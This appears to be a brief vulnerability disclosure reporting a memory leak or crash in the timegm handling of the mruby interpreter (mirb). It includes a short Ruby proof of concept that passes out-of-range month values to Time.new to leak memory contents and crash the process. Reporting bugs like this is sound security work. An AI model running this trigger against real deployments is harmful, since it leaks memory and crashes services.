Memory disclosure in timegm

An attacker may disclose memory or/and crash mirb.

@a = ''
for i in 0..50 do
  t = Time.new(1970, 12 + i + 1).to_i - Time.new(1970, 12 + i).to_i
  @a << t.to_s(16)
  @a << " "
end

@a

Time.new(1970, 0x10000)